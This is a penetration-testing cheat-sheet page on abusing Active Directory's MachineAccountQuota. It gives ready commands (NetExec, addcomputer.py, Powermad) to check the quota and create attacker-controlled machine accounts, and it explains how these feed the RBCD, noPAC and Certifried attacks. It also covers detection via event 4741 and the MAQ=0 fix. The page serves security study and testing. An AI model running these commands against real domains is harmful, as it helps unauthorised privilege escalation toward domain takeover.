AD^:Active Directory

Attack #47 — MachineAccountQuota (MAQ) Abuse

By default, any authenticated domain user can create up to 10 computer accounts (controlled by ms-DS-MachineAccountQuota). These attacker-created machine…

advancedupdated 2026-08-10NetExec · PowerShell

🟣 Attack #47 — MachineAccountQuota (MAQ) Abuse


📖 How It Works

By default, any authenticated domain user can create up to 10 computer accounts (controlled by ms-DS-MachineAccountQuota). These attacker-created machine accounts serve as building blocks for other attacks — most notably RBCD (#17), noPAC (#44), and Certifried (#36).


⚙️ Prerequisites

RequirementDetail
Domain user credentialsAny authenticated user
MAQ > 0Default = 10

💻 Full Commands

# ── Check MAQ value ───────────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u low_user -p 'Password1' -M maq
# Output: MachineAccountQuota: 10

# ── Create machine account ────────────────────────────────────────────────────
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'FakePass!' \
  -dc-ip 10.10.10.10 corp.local/low_user:'Password1'

# ── Delete machine account ────────────────────────────────────────────────────
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'FakePass!' \
  -dc-ip 10.10.10.10 -delete corp.local/low_user:'Password1'
# ── PowerShell / Powermad ─────────────────────────────────────────────────────
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password (
  ConvertTo-SecureString 'FakePass!' -AsPlainText -Force
)

# ── Check MAQ ─────────────────────────────────────────────────────────────────
Get-ADObject -Identity "DC=corp,DC=local" -Properties ms-DS-MachineAccountQuota |
  Select ms-DS-MachineAccountQuota

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4741Security Log (DC)Computer account created by non-admin user

🔗 Attack Chain Context

[MAQ Abuse] ──→ Create machine accounts for RBCD, noPAC, Certifried
         │
         ├──→ 🔗 RBCD (#17): needs a controlled machine account
         ├──→ 🔗 noPAC (#44): rename machine account to DC name
         ├──→ 🔗 Certifried (#36): change DNS hostname to DC
         └──→ 💀 Defeated by: set MAQ to 0

✅ Attack #47 — MAQ Abuse complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.